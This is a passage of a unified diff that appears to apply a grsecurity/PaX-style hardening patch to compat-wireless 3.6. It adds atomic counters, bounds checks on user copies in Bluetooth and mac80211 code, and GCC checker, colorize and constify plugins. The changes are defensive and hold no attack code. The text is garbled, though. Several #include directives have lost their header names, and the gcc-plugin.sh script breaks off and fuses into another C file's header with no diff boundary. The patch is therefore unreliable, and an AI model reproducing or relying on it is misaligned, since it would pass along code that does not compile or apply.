00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.rej 2012-10-15 17:30:59.824924531 +0000 +@@ -0,0 +1,26 @@ ++--- include/net/net_namespace.h 2012-10-01 02:49:52.716114492 +0200 +++++ include/net/net_namespace.h 2012-10-01 02:50:46.008114660 +0200 ++@@ -102,7 +102,7 @@ ++ #endif ++ struct netns_ipvs *ipvs; ++ struct sock *diag_nlsk; ++- atomic_t rt_genid; +++ atomic_unchecked_t rt_genid; ++ }; ++ ++ ++@@ -303,12 +303,12 @@ ++ ++ static inline int rt_genid(struct net *net) ++ { ++- return atomic_read(&net->rt_genid); +++ return atomic_read_unchecked(&net->rt_genid); ++ } ++ ++ static inline void rt_genid_bump(struct net *net) ++ { ++- atomic_inc(&net->rt_genid); +++ atomic_inc_unchecked(&net->rt_genid); ++ } ++ ++ #endif /* __NET_NET_NAMESPACE_H */ +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.~1~ compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.~1~ +--- compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.~1~ 2012-10-15 17:30:59.824924531 +0000 +@@ -0,0 +1,10 @@ ++#ifndef _COMPAT_NET_NET_NAMESPACE_H ++#define _COMPAT_NET_NET_NAMESPACE_H 1 ++ ++#include ++ ++#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,23)) ++#include_next ++#endif /* (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,23)) */ ++ ++#endif /* _COMPAT_NET_NET_NAMESPACE_H */ +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/hci_sock.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/hci_sock.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/hci_sock.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/hci_sock.c 2012-10-15 17:30:59.825924531 +0000 +@@ -940,7 +940,7 @@ static int hci_sock_setsockopt(struct so + uf.event_mask[1] = *((u32 *) f->event_mask + 1); + } + +- len = min_t(unsigned int, len, sizeof(uf)); ++ len = min((size_t)len, sizeof(uf)); + if (copy_from_user(&uf, optval, len)) { + err = -EFAULT; + break; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_core.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_core.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_core.c 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_core.c 2012-10-15 17:30:59.825924531 +0000 +@@ -3165,8 +3165,10 @@ static int l2cap_parse_conf_rsp(struct l + break; + + case L2CAP_CONF_RFC: +- if (olen == sizeof(rfc)) +- memcpy(&rfc, (void *)val, olen); ++ if (olen != sizeof(rfc)) ++ break; ++ ++ memcpy(&rfc, (void *)val, olen); + + if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) && + rfc.mode != chan->mode) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_sock.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_sock.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_sock.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_sock.c 2012-10-15 17:30:59.826924531 +0000 +@@ -467,7 +467,8 @@ static int l2cap_sock_setsockopt_old(str + struct sock *sk = sock->sk; + struct l2cap_chan *chan = l2cap_pi(sk)->chan; + struct l2cap_options opts; +- int len, err = 0; ++ int err = 0; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -489,7 +490,7 @@ static int l2cap_sock_setsockopt_old(str + opts.max_tx = chan->max_tx; + opts.txwin_size = chan->tx_win; + +- len = min_t(unsigned int, sizeof(opts), optlen); ++ len = min(sizeof(opts), len); + if (copy_from_user((char *) &opts, optval, len)) { + err = -EFAULT; + break; +@@ -574,7 +575,8 @@ static int l2cap_sock_setsockopt(struct + struct bt_security sec; + struct bt_power pwr; + struct l2cap_conn *conn; +- int len, err = 0; ++ int err = 0; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -597,7 +599,7 @@ static int l2cap_sock_setsockopt(struct + + sec.level = BT_SECURITY_LOW; + +- len = min_t(unsigned int, sizeof(sec), optlen); ++ len = min(sizeof(sec), len); + if (copy_from_user((char *) &sec, optval, len)) { + err = -EFAULT; + break; +@@ -694,7 +696,7 @@ static int l2cap_sock_setsockopt(struct + + pwr.force_active = BT_POWER_FORCE_ACTIVE_ON; + +- len = min_t(unsigned int, sizeof(pwr), optlen); ++ len = min(sizeof(pwr), len); + if (copy_from_user((char *) &pwr, optval, len)) { + err = -EFAULT; + break; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/sock.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/sock.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/sock.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/sock.c 2012-10-15 17:30:59.826924531 +0000 +@@ -676,7 +676,7 @@ static int rfcomm_sock_setsockopt(struct + struct sock *sk = sock->sk; + struct bt_security sec; + int err = 0; +- size_t len; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -698,7 +698,7 @@ static int rfcomm_sock_setsockopt(struct + + sec.level = BT_SECURITY_LOW; + +- len = min_t(unsigned int, sizeof(sec), optlen); ++ len = min(sizeof(sec), len); + if (copy_from_user((char *) &sec, optval, len)) { + err = -EFAULT; + break; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/tty.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/tty.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/tty.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/tty.c 2012-10-15 17:30:59.826924531 +0000 +@@ -309,7 +309,7 @@ static void rfcomm_dev_del(struct rfcomm + BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (dev->port.count > 0) { ++ if (atomic_read(&dev->port.count) > 0) { + spin_unlock_irqrestore(&dev->port.lock, flags); + return; + } +@@ -664,10 +664,10 @@ static int rfcomm_tty_open(struct tty_st + return -ENODEV; + + BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst), +- dev->channel, dev->port.count); ++ dev->channel, atomic_read(&dev->port.count)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (++dev->port.count > 1) { ++ if (atomic_inc_return(&dev->port.count) > 1) { + spin_unlock_irqrestore(&dev->port.lock, flags); + return 0; + } +@@ -736,10 +736,10 @@ static void rfcomm_tty_close(struct tty_ + return; + + BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc, +- dev->port.count); ++ atomic_read(&dev->port.count)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (!--dev->port.count) { ++ if (!atomic_dec_return(&dev->port.count)) { + spin_unlock_irqrestore(&dev->port.lock, flags); + if (dev->tty_dev->parent) + #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29)) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/ieee80211_i.h compat-wireless-3.6-rc7-1-snpc/net/mac80211/ieee80211_i.h +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/ieee80211_i.h 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/ieee80211_i.h 2012-10-15 17:30:59.827924531 +0000 +@@ -28,6 +28,7 @@ + #include + #include + #include ++#include + #include "key.h" + #include "sta_info.h" + #include "debug.h" +@@ -840,7 +841,7 @@ struct ieee80211_local { + /* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */ + spinlock_t queue_stop_reason_lock; + +- int open_count; ++ local_t open_count; + int monitors, cooked_mntrs; + /* number of interfaces with corresponding FIF_ flags */ + int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll, +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/iface.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/iface.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/iface.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/iface.c 2012-10-15 17:30:59.827924531 +0000 +@@ -454,7 +454,7 @@ static int ieee80211_do_open(struct net_ + break; + } + +- if (local->open_count == 0) { ++ if (local_read(&local->open_count) == 0) { + res = drv_start(local); + if (res) + goto err_del_bss; +@@ -497,7 +497,7 @@ static int ieee80211_do_open(struct net_ + break; + } + +- if (local->monitors == 0 && local->open_count == 0) { ++ if (local->monitors == 0 && local_read(&local->open_count) == 0) { + res = ieee80211_add_virtual_monitor(local); + if (res) + goto err_stop; +@@ -594,7 +594,7 @@ static int ieee80211_do_open(struct net_ + mutex_unlock(&local->mtx); + + if (coming_up) +- local->open_count++; ++ local_inc(&local->open_count); + + if (hw_reconf_flags) + ieee80211_hw_config(local, hw_reconf_flags); +@@ -607,7 +607,7 @@ static int ieee80211_do_open(struct net_ + err_del_interface: + drv_remove_interface(local, sdata); + err_stop: +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + drv_stop(local); + err_del_bss: + sdata->bss = NULL; +@@ -741,7 +741,7 @@ static void ieee80211_do_stop(struct iee + } + + if (going_down) +- local->open_count--; ++ local_dec(&local->open_count); + + switch (sdata->vif.type) { + case NL80211_IFTYPE_AP_VLAN: +@@ -801,7 +801,7 @@ static void ieee80211_do_stop(struct iee + + ieee80211_recalc_ps(local, -1); + +- if (local->open_count == 0) { ++ if (local_read(&local->open_count) == 0) { + if (local->ops->napi_poll) + napi_disable(&local->napi); + ieee80211_clear_tx_pending(local); +@@ -833,7 +833,7 @@ static void ieee80211_do_stop(struct iee + } + spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags); + +- if (local->monitors == local->open_count && local->monitors > 0) ++ if (local->monitors == local_read(&local->open_count) && local->monitors > 0) + ieee80211_add_virtual_monitor(local); + } + +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/main.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/main.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/main.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/main.c 2012-10-15 17:30:59.827924531 +0000 +@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211 + local->hw.conf.power_level = power; + } + +- if (changed && local->open_count) { ++ if (changed && local_read(&local->open_count)) { + ret = drv_config(local, changed); + /* + * Goal: +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/pm.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/pm.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/pm.c 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/pm.c 2012-10-15 17:30:59.828924531 +0000 +@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211 + struct ieee80211_sub_if_data *sdata; + struct sta_info *sta; + +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + goto suspend; + + ieee80211_scan_cancel(local); +@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211 + cancel_work_sync(&local->dynamic_ps_enable_work); + del_timer_sync(&local->dynamic_ps_timer); + +- local->wowlan = wowlan && local->open_count; ++ local->wowlan = wowlan && local_read(&local->open_count); + if (local->wowlan) { + int err = drv_suspend(local, wowlan); + if (err < 0) { +@@ -143,7 +143,7 @@ int __ieee80211_suspend(struct ieee80211 + drv_remove_interface(local, sdata); + + /* stop hardware - this must stop RX */ +- if (local->open_count) ++ if (local_read(&local->open_count)) + ieee80211_stop_device(local); + + suspend: +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rate.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/rate.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rate.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/rate.c 2012-10-15 17:30:59.828924531 +0000 +@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct + + ASSERT_RTNL(); + +- if (local->open_count) ++ if (local_read(&local->open_count)) + return -EBUSY; + + if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) { +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rc80211_pid_debugfs.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/rc80211_pid_debugfs.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rc80211_pid_debugfs.c 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/rc80211_pid_debugfs.c 2012-10-15 17:30:59.828924531 +0000 +@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r + + spin_unlock_irqrestore(&events->lock, status); + +- if (copy_to_user(buf, pb, p)) ++ if (p > sizeof(pb) || copy_to_user(buf, pb, p)) + return -EFAULT; + + return p; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/util.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/util.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/util.c 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/util.c 2012-10-15 17:30:59.828924531 +0000 +@@ -1251,7 +1251,7 @@ int ieee80211_reconfig(struct ieee80211_ + } + #endif + /* everything else happens only if HW was up & running */ +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + goto wake_up; + + /* +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/core.h compat-wireless-3.6-rc7-1-snpc/net/wireless/core.h +--- compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/core.h 2012-09-27 23:19:11.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/wireless/core.h 2012-10-15 17:30:59.829924531 +0000 +@@ -28,7 +28,7 @@ struct cfg80211_registered_device { + struct mutex mtx; + + /* rfkill support */ +- struct rfkill_ops rfkill_ops; ++ rfkill_ops_no_const rfkill_ops; + struct rfkill *rfkill; + struct work_struct rfkill_sync; + +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/wext-core.c compat-wireless-3.6-rc7-1-snpc/net/wireless/wext-core.c +--- compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/wext-core.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/net/wireless/wext-core.c 2012-10-15 17:30:59.829924531 +0000 +@@ -792,8 +792,7 @@ static int ioctl_standard_iw_point(struc + */ + + /* Support for very large requests */ +- if ((descr->flags & IW_DESCR_FLAG_NOMAX) && +- (user_length > descr->max_tokens)) { ++ if (user_length > descr->max_tokens) { + /* Allow userspace to GET more than max so + * we can support any size GET requests. + * There is still a limit : -ENOMEM. +@@ -832,22 +831,6 @@ static int ioctl_standard_iw_point(struc + } + } + +- if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) { +- /* +- * If this is a GET, but not NOMAX, it means that the extra +- * data is not bounded by userspace, but by max_tokens. Thus +- * set the length to max_tokens. This matches the extra data +- * allocation. +- * The driver should fill it with the number of tokens it +- * provided, and it may check iwp->length rather than having +- * knowledge of max_tokens. If the driver doesn't change the +- * iwp->length, this ioctl just copies back max_token tokens +- * filled with zeroes. Hopefully the driver isn't claiming +- * them to be valid data. +- */ +- iwp->length = descr->max_tokens; +- } +- + err = handler(dev, info, (union iwreq_data *) iwp, extra); + + iwp->length += essid_compat; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/scripts/gcc-plugin.sh compat-wireless-3.6-rc7-1-snpc/scripts/gcc-plugin.sh +--- compat-wireless-3.6-rc7-1-snpc.orig/scripts/gcc-plugin.sh 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/scripts/gcc-plugin.sh 2012-10-15 17:30:59.829924531 +0000 +@@ -0,0 +1,17 @@ ++#!/bin/bash ++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 < ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to implement various sparse (source code checker) features ++ * ++ * TODO: ++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch) ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++#include "target.h" ++ ++extern void c_register_addr_space (const char *str, addr_space_t as); ++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t); ++extern enum machine_mode default_addr_space_address_mode (addr_space_t); ++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as); ++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as); ++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as); ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++extern rtx emit_move_insn(rtx x, rtx y); ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info checker_plugin_info = { ++ .version = "201111150100", ++}; ++ ++#define ADDR_SPACE_KERNEL 0 ++#define ADDR_SPACE_FORCE_KERNEL 1 ++#define ADDR_SPACE_USER 2 ++#define ADDR_SPACE_FORCE_USER 3 ++#define ADDR_SPACE_IOMEM 0 ++#define ADDR_SPACE_FORCE_IOMEM 0 ++#define ADDR_SPACE_PERCPU 0 ++#define ADDR_SPACE_FORCE_PERCPU 0 ++#define ADDR_SPACE_RCU 0 ++#define ADDR_SPACE_FORCE_RCU 0 ++ ++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace) ++{ ++ return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC); ++} ++ ++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace) ++{ ++ return default_addr_space_address_mode(ADDR_SPACE_GENERIC); ++} ++ ++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as) ++{ ++ return default_addr_space_valid_pointer_mode(mode, as); ++} ++ ++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as) ++{ ++ return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC); ++} ++ ++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as) ++{ ++ return default_addr_space_legitimize_address(x, oldx, mode, as); ++} ++ ++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset) ++{ ++ if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL) ++ return true; ++ ++ if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER) ++ return true; ++ ++ if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM) ++ return true; ++ ++ if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER) ++ return true; ++ ++ if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM) ++ return true; ++ ++ if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL) ++ return true; ++ ++ if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL) ++ return true; ++ ++ return subset == superset; ++} ++ ++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type) ++{ ++// addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type)); ++// addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type)); ++ ++ return op; ++} ++ ++static void register_checker_address_spaces(void *event_data, void *data) ++{ ++ c_register_addr_space("__kernel", ADDR_SPACE_KERNEL); ++ c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL); ++ c_register_addr_space("__user", ADDR_SPACE_USER); ++ c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER); ++// c_register_addr_space("__iomem", ADDR_SPACE_IOMEM); ++// c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM); ++// c_register_addr_space("__percpu", ADDR_SPACE_PERCPU); ++// c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU); ++// c_register_addr_space("__rcu", ADDR_SPACE_RCU); ++// c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU); ++ ++ targetm.addr_space.pointer_mode = checker_addr_space_pointer_mode; ++ targetm.addr_space.address_mode = checker_addr_space_address_mode; ++ targetm.addr_space.valid_pointer_mode = checker_addr_space_valid_pointer_mode; ++ targetm.addr_space.legitimate_address_p = checker_addr_space_legitimate_address_p; ++// targetm.addr_space.legitimize_address = checker_addr_space_legitimize_address; ++ targetm.addr_space.subset_p = checker_addr_space_subset_p; ++ targetm.addr_space.convert = checker_addr_space_convert; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info); ++ ++ for (i = 0; i < argc; ++i) ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ ++ if (TARGET_64BIT == 0) ++ return 0; ++ ++ register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/colorize_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/colorize_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/colorize_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/colorize_plugin.c 2012-10-15 17:30:59.830924531 +0000 +@@ -0,0 +1,148 @@ ++/* ++ * Copyright 2012 by PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to colorize diagnostic output ++ * ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info colorize_plugin_info = { ++ .version = "201203092200", ++ .help = NULL, ++}; ++ ++#define GREEN "\033[32m\033[2m" ++#define LIGHTGREEN "\033[32m\033[1m" ++#define YELLOW "\033[33m\033[2m" ++#define LIGHTYELLOW "\033[33m\033[1m" ++#define RED "\033[31m\033[2m" ++#define LIGHTRED "\033[31m\033[1m" ++#define BLUE "\033[34m\033[2m" ++#define LIGHTBLUE "\033[34m\033[1m" ++#define BRIGHT "\033[m\033[1m" ++#define NORMAL "\033[m" ++ ++static diagnostic_starter_fn old_starter; ++static diagnostic_finalizer_fn old_finalizer; ++ ++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic) ++{ ++ const char *color; ++ char *newprefix; ++ ++ switch (diagnostic->kind) { ++ case DK_NOTE: ++ color = LIGHTBLUE; ++ break; ++ ++ case DK_PEDWARN: ++ case DK_WARNING: ++ color = LIGHTYELLOW; ++ break; ++ ++ case DK_ERROR: ++ case DK_FATAL: ++ case DK_ICE: ++ case DK_PERMERROR: ++ case DK_SORRY: ++ color = LIGHTRED; ++ break; ++ ++ default: ++ color = NORMAL; ++ } ++ ++ old_starter(context, diagnostic); ++ if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix)) ++ return; ++ pp_destroy_prefix(context->printer); ++ pp_set_prefix(context->printer, newprefix); ++} ++ ++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic) ++{ ++ old_finalizer(context, diagnostic); ++} ++ ++static void colorize_arm(void) ++{ ++ old_starter = diagnostic_starter(global_dc); ++ old_finalizer = diagnostic_finalizer(global_dc); ++ ++ diagnostic_starter(global_dc) = start_colorize; ++ diagnostic_finalizer(global_dc) = finalize_colorize; ++} ++ ++static unsigned int execute_colorize_rearm(void) ++{ ++ if (diagnostic_starter(global_dc) == start_colorize) ++ return 0; ++ ++ colorize_arm(); ++ return 0; ++} ++ ++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = { ++ .pass = { ++ .type = SIMPLE_IPA_PASS, ++ .name = "colorize_rearm", ++ .gate = NULL, ++ .execute = execute_colorize_rearm, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static void colorize_start_unit(void *gcc_data, void *user_data) ++{ ++ colorize_arm(); ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info colorize_rearm_pass_info = { ++ .pass = &pass_ipa_colorize_rearm.pass, ++ .reference_pass_name = "*free_lang_data", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info); ++ register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info); ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/constify_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/constify_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/constify_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/constify_plugin.c 2012-10-15 17:30:59.830924531 +0000 +@@ -0,0 +1,331 @@ ++/* ++ * Copyright 2011 by Emese Revfy ++ * Copyright 2011 by PaX Team ++ * Licensed under the GPL v2, or (at your option) v3 ++ * ++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification. ++ * ++ * Homepage: ++ * http://www.grsecurity.net/~ephox/const_plugin/ ++ * ++ * Usage: ++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c ++ * $ gcc -fplugin=constify_plugin.so test.c -O2 ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE) ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info const_plugin_info = { ++ .version = "201205300030", ++ .help = "no-constify\tturn off constification\n", ++}; ++ ++static void deconstify_tree(tree node); ++ ++static void deconstify_type(tree type) ++{ ++ tree field; ++ ++ for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) { ++ tree type = TREE_TYPE(field); ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) ++ continue; ++ if (!TYPE_READONLY(type)) ++ continue; ++ ++ deconstify_tree(field); ++ } ++ TYPE_READONLY(type) = 0; ++ C_TYPE_FIELDS_READONLY(type) = 0; ++} ++ ++static void deconstify_tree(tree node) ++{ ++ tree old_type, new_type, field; ++ ++ old_type = TREE_TYPE(node); ++ ++ 